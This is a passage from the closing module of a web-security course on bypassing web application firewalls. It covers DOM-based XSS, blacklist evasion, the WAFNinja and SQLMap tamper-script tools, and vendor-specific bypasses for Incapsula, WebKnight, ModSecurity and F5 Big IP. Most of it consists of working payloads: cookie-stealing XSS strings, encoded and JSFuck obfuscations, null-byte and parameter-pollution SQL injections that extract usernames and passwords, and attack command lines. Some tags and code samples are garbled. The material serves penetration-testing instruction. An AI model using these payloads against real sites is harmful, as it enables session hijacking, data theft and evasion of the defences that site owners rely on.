Securing WAF and Conclusion
DOM Based XSS
DOM based XSS is another type of XSS that is also used widely, and we didn’t discuss it in module 3. The DOM, or Document Object Model, is the structural format used to represent documents in a browser. The DOM enables dynamic scripts such as JavaScript to reference components of the document such as a form field or a session cookie, and it is also a security feature that limits scripts on different domains from obtaining cookies for other domains. Now, the XSS attacks based on this is when the payload that we inject is executed as a result of modifying the DOM environment in the victim’s browser, so that the code runs in an unexpected way. By this we mean that in contrast with the other two attacks, here the page that the victim sees does not change, but the injected code is executed differently because of the modifications that have been done in the DOM environment, that we said earlier. In the other XSS attacks, we saw the injected code was placed in the response page, so you can see the difference, and why we are examining this type too.
Also, DOM-based XSS vulnerabilities can be executed in many instances without the server being able to determine what is actually being executed. This may make many of the general XSS filtering and detection techniques, like the WAFs that we are examining, impotent to such attacks, and this is why this attack is important to us. Let’s examine the following code, from an e-shop that supports many currencies:
<select><script>
document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8 )+"</OPTION>");>");
document.write("<OPTION value=2>Dollar</OPTION>");
</script></select>
When we try to change the currency in this website, the page is invoked with a URL like the following:
http://www.eshop.com/page.html?cur=Euro
To perform a DOM-based XSS attack in this URL, we can send the following link to the victim:
http://www.eshop.com/page.html?cur=<script>alert(document.cookie)</script>
When the victim clicks on this link, the browser will ask for a different currency but instead of supplying a currency value, it will give the following:
<script>alert(document.cookie)</script>
The server will respond by supplying the page with this Javascript code in it. Next, the browser will create a DOM object for this page, where the document.location object will contain the following:
http://www.eshop.com/page.html?cur=<script>alert(document.cookie)</script
The Javascript code in the page does not expect for the parameter to contain HTML code, and because of that, it echoes it into the page (DOM) at runtime. The page then constructs the page and executes the script we supplied earlier into the script tags.
Despite that, in this attack the payload was not embedded by the server in the HTTP response, it arrived at the server as part of the request, so it is possible to be detected by an installed WAF, or server side controls. To bypass the WAF and avoid sending the script to the server, we have to keep in mind that the part in the URI after the # is not sent to the server by the browser. By this, any code that it references, like the document.cookie we used earlier, may be vulnerable to an attack that uses fragments, and in this type of scenario the script is not sent to the server. The URL we used in the previous attack can be transformed into:
http://www.eshop.com/page.html#cur=<script>alert(document.cookie)</script>
which executes the same script, but with the addition that the script is not being sent to the server, so we have successfully bypassed a WAF of any type of server side control. In this attack, the server will only see the URL, until the page.html point.
Another interesting example is when a PDF file is served to the browser, and if the Adobe Acrobat plugin renders the file, it may have as a result to execute part of the fragment as JavaScript. Since the JavaScript is executed in the context (DOM) of the current site, it is really simple to exploit it, simply by finding a PDF link inside the website, for the XSS condition to be met. Then we craft a link like the following:
http://www.website.com/pdffile.pdf#parameter=javascript:script-goes-here
Now, you can see that the attack is more or less the same, but we are exploiting a different aspect of the client side, and in this situation, if the victim has an outdated Acrobat Reader installed, the script will be executed without going to the server. As we can understand, DOM-based XSS is really dangerous and no WAF can filter it, due to its nature. Finally, there are more XSS attacks, and more ways to exploit them, but this passes the context of this course, and we have covered the most interesting and famous ones.
Bypassing Blacklists with JavaScript
In the first module of this course, we learned that WAFs follow two basic models, the positive and the negative. To save coding time, most of the WAFs rely on the negative model, so they have a database that will contain all the signatures generally in the form of REG-EX that would look for the patterns that the WAF is trying to block. The problem with that is that it can be bypassed easily, due to JavaScript’s nature and flexibility. There are countless ways that we can create a JavaScript to bypass this type of protection, but let’s now talk about the three different approaches that we can use to bypass blacklists. These are:
• Brute Force: With this method, we are trying many payloads and we expect some of these to execute. This is the method that most of the tools that we talked about, and will talk about, are using, and it may be a good method for some type of filters, but as we said many times, these methods fail because automated tools cannot understand the context, and every attack’s context varies in each occasion.
• Browser Bugs: As we said in the Adobe Acrobat XSS example, there are some ways to bypass a WAF by exploiting a bug in the target’s browser. This is the last approach that someone will use, because we have to search for older browsers with security issues, addons that have security issues, or even zero days, to be able to exploit them and bypass the limitations that the WAF has added.
• REG-EX reversing: The best approach in blacklist bypassing is the reg-ex reversing. As we have already said, WAFs rely on matching the payloads we sent with the signatures they have stored in the database, and these signatures are in the form of complex regular expressions. If the payload matches any of these signatures (reg-ex) the WAF triggers up, and as you can understand, the WAF doesn’t trigger up if no signature matches our payload. In this method, we try to reverse these WAF signatures, and once we know the blacklist of the WAF, we can produce scripts and attacks that can bypass all the filters and not trigger up the WAF.
Let’s now continue by talking about bruteforcing and reg-ex reversing, with practical examples. First of all, we have to try and insert harmless tags like <p>, <h1> or <b> to see if they are blocked from the WAF and see how they get rendered from it in the HTTP response. We check the following:
• Type of encoding applied
• Striped characters
• Replaced characters
• Whole tag strip
We take note if any of these events happened and if the filter stripped out the tags, we try to insert an open tag without a closing character, for example, <p , <h1 or <b, and examine the HTTP response of the WAF. If in this stage, the application has rendered correctly the applied tag, it means that the reg-ex is looking for both opening and closing brackets and doesn’t filter out the opening tag.
To continue from these facts, we try some of the most common XSS scripts that most of the WAFs are filtering out. These can be:
<script>alert(‘test’)</script>
<script>alert(document.cookie)</script>
<script>prompt(1)</script>
<script>confirm (1)</script>
These scripts can trigger a 403 forbidden page HTTP response or a 500 Internal error, and it can strip it completely from the response or a part of it. There are occasions where the WAF is only filtering out the opening and closing script tag, and leaves all the other content untouched. Also, as we saw earlier, WAF may filter out only the opening and closing brackets, and leave all the other as is. To go to the next step, we use the basics of encoding, and we try to mask the script tag by changing the case of the letters of the script word in the tag. For example:
<sCrIpT>alert(‘test’)</SCript>
<sCRIpt>alert(document.cookie)</ScRiPt>
If the WAF is case sensitive (which is not so rare), we go on and try the nested script tags, where a WAF that is making only one check will filter the script tag, but with the filtering of it, a new one will be generated and the script will succeed. So, for this example we are supplying something like this:
<scr<script>ipt>alert(‘test’)</scr<script>ipt>
<scr<script>ipt>alert(document.cookie)</scr<script>ipt>
After all these checks, let’s supply an <a href=””> tag and examine its response, and if the WAF is making the same checks, like it did in the first step we saw, and if not, we try to insert a JavaScript statement inside the href tag.
<a href=”javascript:alert(‘test’)”>Malicious Link</a>
Now we have to check the response of this alteration, and if the WAF has filtered out the JavaScript statement in the <a> tag or only stripped the JavaScript, and if yes, we try to bypass this filter by playing with the case of the letters, like we did earlier. If only the JavaScript keyword is filtered out, there are plenty of ways that we can bypass this filter by encoding it.
To continue, we have to try an event handler to execute JavaScript, like we saw in module 3:
<a href="google.com" onmouseover=alert(1)>Malicious Link</a>
And once more, we are checking if the event got stripped out, or if the part “mouseover” after the “on” is only stripped, and we try to insert an invalid event handler to check if the WAF is trying to filter all the possible events, or only some of them. To do so, we give something like this:
<a href="google.com" onthewaveofthehand=alert(1)>Malicious Link</a>
If we are now able to inject this event, it means that the WAF is only filtering a bunch of events and not all of them. With HTML5, we have more than 150 event handlers that we can use JavaScript with, and there is a big change of not filtering out all of them by the WAF. One of the less commonly filtered out event handlers is the “onhashchange” and it can be used as follows:
<body/onhashchange=alert(1)><a href=#>maliciouslink
This was one of the approaches that someone can follow to bypass a WAF, but not the only one. There are more ways to test it that are due to the liking and experience of the pentester and the situations that he is handling.
To conclude this section let’s examine some situations, where we use some other commonly used tags that we can use to inject JavaScript as we did earlier. Let’s start with some tags that contain the src attribute. There are many tags that use this attribute and we can test them in the following way:
<img src=image.jpg onmouseover=alert(1);>
<img/src=image.jpg onmouseover=alert(1);>
<video src=video.mp4 onmouseover=alert(1);></video>
<video/src=video.mp4 onmouseover=alert(1);></video>
As you can see here, we can add event handlers in the tags that use src attributes and we can use it by separating the tag from the src with a / . With this way we can many times trick the WAF and bypass it. Two other interesting tags that use the src attribute are the iframe and the embedded, and to try and bypass a WAF, we can use them as follows:
<iframesrc="javascript:alert(“123”)">
<iframe/src="data:text/html;	base64
,PGJvZHkgb25tb3VzZW92ZXI9YWxlcnQoZG 9jdW1lbnQuY29va2llKT4=">
<embed/src=//goo.gl/wrDiR
You can see that we can implement a JavaScript many more ways than we can think. In the first one, we take off the space between the iframe and src, so the WAF cannot identify them as keywords. In the second one, we see that we use again the / for separation and we then use base64 to encode the event handler. If decoded, it produces <body onmouseover=alert(document.cookie)>. Other attributes of some tags that we can use are the poster and the data, that can be many times used to bypass a WAF, as they tend not to block it as malicious. For example:
<video poster=javascript:alert(“123”)//></video>
<objectdata="data:text/html;base64
,PGJvZHkgb25tb3VzZW92ZXI9YWxlcnQoZG9jdW1lbnQuY29va2 llKT4=">
<object/data=//goo.gl/wrDiR>
You can see that we have used them more or less the same way as with earlier scripts, which tells us that we can have many alternative ways to try and bypass a WAF. Now, an attribute that is proven not to be filtered by many WAFs is the formaction attribute, due to its rare use. We can use it as follows:
<isindexformaction="JaVaScRiPt:alert(1)" type=image>
<input type="image" formaction=JAVAScript:alert(0)>
<form><button formaction=javascript:alert(1)>…
As you can understand, it is impossible for a WAF development team to gather all the possible variations that can be produced to bypass a WAF. Here we only saw a bunch of attributes and tags that can be used for this job, but the list continues, with some more examples for reference:
• Background Attribute (table tag)
• Data Attribute (object tag)
• Code Attribute (applet, embed tag etc.)
• Action Attribute (form tag etc.)
Automating WAF Bypassing
Until now we saw some tools, like Nmap and WafW00f in the context of WAF fingerprinting, but there is a big variety of tools out there that can help us not only fingerprint but also bypass the target WAF. Automation is really important, because we have to compare our results with the results of an automated tool to have a different opinion available.
WAFNinja
WAFNinja is a Python written script, which is one of the best tools for automated bypassing WAF. WAFNinja comes with a variety of payloads and fuzzing strings, which are stored in a local database file that comes with the tool. It is also created this way to be easily expandable and simple to use. Also, it supports HTTP connections, with both GET and POST requests and the use of cookies in order to access the pages that need authorization. Finally, we have the choice to set up an intercepting proxy, but we will not examine that in this chapter. We can simply download and run WAFNinja on our Linux machine by executing the following:
git clone https://github.com/khalilbijjou/WAFNinja
And from now on, inside the folder of WAFNinja, we can run it by executing python wafninja.py. The logic of WAFNinja execution goes like this:
wafninja.py [-h] [-v] {fuzz, bypass, insert-fuzz, insert-bypass, set-db} ...
And we can use the following functions:
• Fuzz – check which symbols and keywords are allowed by the WAF.
• Bypass – sends payloads from the database to the target.
• insert-fuzz – add a fuzzing string.
• insert-bypass – add a payload to the bypass list.
• set-db – use another database file. Useful to share the same database with others.
Now the fuzz function does exactly the same that we were talking about earlier. It reverse engineers the WAF rule set by sending different symbols and keywords and analyzes the responses of every request. We can produce an attack like this by executing the following:
python wafninja.py fuzz -u "http://www.website.com/index.php?id=FUZZ" -c "phpsessid=cookie" -t xss -o output.html
Here we used the following options:
• -u for the target URL
• -c for the cookie we want to use
• -t for the type of attack (sql or xss)
• -o for the output file that is saved in .html format
This is a way of executing a fuzzing attack and we did it by giving the fuzz function. To extend the fuzz strings more, we can add the insert-fuzz where we can add a fuzzing string. And finally, the other really important function is the bypassone, which bruteforces the WAF by enumerating payloads and sending them to the target. It analyzes the response of every request and we can use it as follows:
python wafninja.py bypass -u "http://www.website.com/index.php" -p
"Name=PAYLOAD&Submit=Submit" -c "phpsessid=cookie" -t xss -o output.html
Here the only different parameter is the -p which is used to send payloads through the POST parameter. We can also extend the payloads with the addition of the insert-bypass function. For more parameters and usage examples, please type python wafninja.py -h to see the help page.
SQLMap
As we saw in Module 2, SQL injection is a really important chapter of WAF and we can bypass it in many ways. But, of course, we need an automated way to bypass it. For this reason, we are going to use SQLMap, which we saw in a video of module 2, but we are going to use it in a different way. First of all, SQLMap in general is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. In this chapter, we are going to see how we can use SQLmap to bypass WAFs and IDSs.
To do so, we are going to use tamper scripts that alter the payloads sent to the server automatically. In some cases, we might need to combine a few tamper scripts together in order to fool the WAF, and we can find a full list of them here:https://svn.sqlmap.org/sqlmap/trunk/sqlmap/tamper/ . Let’s examine two scripts that will target MySQL databases. These scripts will convert all spaces to block comments with random text. To start SQLmap in Kali Linux, we just execute sqlmap in a terminal window, and for tamper scripts we use the –tamper option. For example:
sqlmap -u ‘http://192.168.85.128/dvwa/vulnerabilities/sqli/?id=1’ --cookie=’cookiehere’ --dbms "MySQL" --technique U -p id --tamper "space2morehash.py"
The extended version of space2hash.py tamper script we used here, the space2morehash.py, will also add the comments in between certain function names and the parenthesis. Also, the options we used are:
-u The URL we want to attack
--cookie= Where we add the HTTP Cookie header value
-dbms The option that forces the dbms that the server uses
--technique Specify which SQL injection type to test for. (U is for union query-based)
-p Specify the testable parameter
Of course, besides that, to use the tamper scripts, we have to use the –tamper option followed by the script name.
Now that we executed SQLmap, the tamper script has replaced the spaces with the %23randomText%0A, which as we can see is URL encoded. The functions CHAR(), USER() and CONCAT() that we examined in module 2, got changed to FUNCTION%23randomText%0A(), because in our example it is identified that they were blocked by the WAF. Why it is changed with this is not in the context of this course.
To continue, two other interesting tamper scripts that we can use and help automate the encoding processes are the charencode.py and chardoubleencode.py. These are really useful scripts for bypass, when the WAF is filtering out keywords. They can find the best way out, and we can simply use them again with the –tamper option. An example attack could be:
sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=bb61j7e8jrsfd87s9037fsdgf3" -D dvwa –tables –tamper “chardoubleencode.py”
We use the second script, chardoublebleencode.py, if the application decodes the URL with the request. The simple charencode.py, is the simple one that helps us with encoding. Additionally, if the application is programmed in ASP/ASP.NET, the charunicodeencode.py and percentage.py scripts can be used to hide the true payload. An interesting characteristic of ASP is the ability to add as many percentage signs as we want in between characters, so the following, AND 1=%%%%%%%%1, that we can see in image 3, is completely valid.
There are many tamper scripts in SQLmap that have their own use, so you have to see what exists and use the proper script in each case. It is a really useful feature that can be used easily and with good results.
Bypassing WAF Practical Examples
Until now, we have talked more about theory (not that this is bad) but we have seen only a small amount of real attacks in WAFs, so now let’s examine some true attacks on WAFs that are widely used, and are based on true vulnerabilities found on them.
Keep in mind that these vulnerabilities have been patched and will work only on outdated WAFs, we cannot supply ways of bypassing a real WAF without informing the owner.
Imperva Incapsula WAF
Incapsula WAF provides solutions to protect websites against SQL Injections, cross site scripting, illegal resource access, OWASP top ten threats, and web 2.0 threats including comment spam, fake registrations, site scraping and malicious bots. It works by changing a website’s Domain Name System (DNS) to route the website traffic through Incapsula. Incapsula then filters out malicious attacks from bots and website scrapers.
As we said in Module 1, one of the most used ways to bypass WAFs is the HTTP parameter pollution and HTTP parameter fragmentation. So let’s take the following example website that is protected by Incapsula:
http://www.website.com/page.asp?a=first&a=second
Because the parameter is the same, the website will see the a parameter as “first,second”. To attack this from what we know, let’s change it to the following:
http://www.website.com/page.asp?a=nothing'/*&a=*/or/*&a=*/1=1/*&a=*/--+
Now, the page sees the a parameter as “‘/*,*/or/*,*/1=1/*,*/–+-“. As you can understand, this can be easily filtered out by a WAF, and Incapsula handles these attacks by combining all the parameters with the same name like the ASP does, before passing it to the later stages. In this security measure, a vulnerability has been found that allows the stage of normalization of the parameters to create end results different than ASP does. So, if we say that the attack link we provided earlier can be blocked by Incapsula, the following can bypass it:
http://www.website.com/page.asp?a=nothing'/*&a%00=*/or/*&a=*/1=1/*&a%00=*/--+
As you can see, after the parameter name there is a null byte. Incapsula treats parameters followed by a null byte differently from another parameter with the same character. So, a and a%00 for Incapsula is a different parameter. As a result, when combining the parameter with the same name, it will not see a malicious string and it will not filter it out.
Now, let’s continue with some XSS attacks in the same WAF. This WAF is filtering correctly the common XSS strings that we used without any encoding, like the <script>alert(document.cookie)</script>. Also, trying to implement an event handler in a simple HTML tag, is proven useless too, because it is filtered out too. So, something like <a href=”javascript:alert(‘test’)”> will be filtered out, but to our surprise, something like this <img src=x onerror=”input”> is not detected. So the aspect that is blocked is the JavaScript inside the event handler and not the event handler alone.
The first way that has been found to bypass this measure, is to use a mix of HTML, double-URL and Unicode encoding. So, you can see that we had to dig deep to find a bypass in this WAF and make many tests, but in the end there is always a way. Let’s now provide the following:
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
Now, this is the earlier payload <img src=x onerror=”input”> but with some alterations. Also, this payload was encoded first by HTML and then by double-URL encoding. Double-URL encoding works on specific servers that URL-decode the client’s input multiple times.
The second XSS bypass, which is publicly available, is based on the JS-F**K, which is a technique that has been introduced to create JavaScripts with only 7 characters. So something like the following will do the job:
<img/src="x"/onerror="[7 char payload goes here]">
With this payload we can do anything we want to the website, without the WAF blocking our actions, but the only obstacle is the length, because most servers restrict the GET request URL length. Nevertheless, the payload is a really good solution and can successfully bypass the Imperva Incapsula WAF.
Aqtronix WebKnight WAF
The WebKnight WAF is an OpenSource WAF for IIS and other web servers, and it is widely used. It is a really good solution, but of course we are here to bypass it, and it has one of the most vulnerable filter rule set of all WAFs, but it is trying to get better. Now two SQL payloads presented by OWASP, that could bypass easily a WebKnight WAF, are:
0 union(select 1,@@hostname,@@datadir)
0 union(select 1,username,password from(users))
As you can see, both of them disclose serious personal information, with username and password included, and the payload isn’t encoded at all. Also, this WAF is vulnerable to a JavaScript event handler, the ontoggle that occurs when the user opens or closes the <details> element, and it is supported on all browsers. For example:
<details ontoggle=alert(document.cookie)>
Finally, we have another event handler, the onshow one, that fires when a <menu> element is shown as a context menu, and works only on the Firefox web browser. When a user right clicks, the script will be executed, bypassing WebKnight XSS filter detection, and we can produce it, as follows:
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
ModSecurity WAF
ModSecurity is another open source WAF that is widely used, and takes security seriously, with challenges that anyone can participate, and have as a result the hardening of the WAF. The first vulnerability we are going to see on this WAF is based on the null byte, that we have talked many times in this course. We simply have to use the null byte inside the script tag. This will bypass the WAF and perform the XSS attack without problems. For example:
<scr%00ipt>alert(document.cookie)</scr%00ipt>
ModSecurity fixed this issue by applying a filter rule that strips all the null bytes from the input. The next bypass technique is based on the characters that browsers are treating as space characters. Each browser has a different set of these characters which you can see below:
• IExplorer = [0x09,0x0B,0x0C,0x20,0x3B]
• Chrome = [0x09,0x20,0x28,0x2C,0x3B]
• Safari = [0x2C,0x3B]
• FireFox = [0x09,0x20,0x28,0x2C,0x3B]
• Opera = [0x09,0x20,0x2C,0x3B]
• Android = [0x09,0x20,0x28,0x2C,0x3B]
To exploit this, we are using one of these characters between the onevent name attribute (like the onmouseover and ontoggle) and the equal sign character. For example:
onmouseover%0B=
ontoggle%0B%3D
So here we are watching the %0B which internet explorer is handling as a space character, and executes correctly the payload. As a practical example, we can give:
http://www.website.com/example.htmltest=%3Cinput+onfocus%0B%3Dalert%281%29%3E&disable_ xss_defense=on&disable_browser_xss_defense=on
This is a real bypassing example of an earlier version of ModSecurity WAF. Finally, let’s see a bypassing example that works on environments that escape the user’s request three or more times. An exploit to this approach of ModSecurity, could be:
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(“123”)>
Let’s conclude by saying that most of these techniques we examined with XSS attacks work on SQL Injection attacks as well. So, for example, if we supply the following:
1+uni%0Bon+se%0Blect+1,2,3
it will bypass the ModSecurity WAF, because it recognizes the %0B on Internet Explorer as a space.
F5 Big IP
For our last examples on WAF bypass, let’s examine the F5 Big IP, that is one of the most advanced enterpricse level WAFs, but as you will see, even the best fall. The first bypass method has to do with event handlers, the onwheel and onshow, with the second one only working in the Firefox browser. For example:
<body style="height:1000px" onwheel=alert(“123”)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow=alert(“123”)>
As you can see here, we have some pretty simple payloads, with no encoding that succeeds in bypassing the F5 Big IP WAF. Another way that we have analyzed and success in bypassing this WAF is with the JS-F**K encoding, For example, in extension of the previous examples, we have:
<body style="height:1000px" onwheel="[JS-F**k Payload]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]">
As you can understand, inside the brackets we can use a JS-F*ck Payload, for example, if we want to give alert(1), we would give the following:
(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[] )[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[ +[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![ ]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[ ]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]
Finally, the last bypass we are going to see is like our first one with HTML encoding and double URL encoding. With this method, the previous examples will transform to:
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<divcontextmenu="xss">Right-ClickHere<menuid="xss"onshow="prom%25%32%33%25%32%36x70;t(1)">
Conclusion
As you can understand, WAFs are not so secure, and it is not the perfect solution for security, as many in this industry think. First of all, because of the limitations we saw, WAFs are not able to protect web applications from all the possible vulnerabilities available, and it is also a necessity to adapt WAF filters for the particular application to be protected.
Also, WAFs are not eliminating the vulnerability, but partly screening the attack vector. We have to secure the application itself and not only apply a layer that will filter the vulnerability, and fail with such easy ways. WAFs have to be implemented with caution, and even after their application we have to continue the maintenance of the applications.
Finally, WAF represents a useful tool in the context of implementation of scalable protection of web-applications. It is a really useful tool that does its job well and blocks the attack vector, until the vendor of the application patches and eliminates the vulnerability.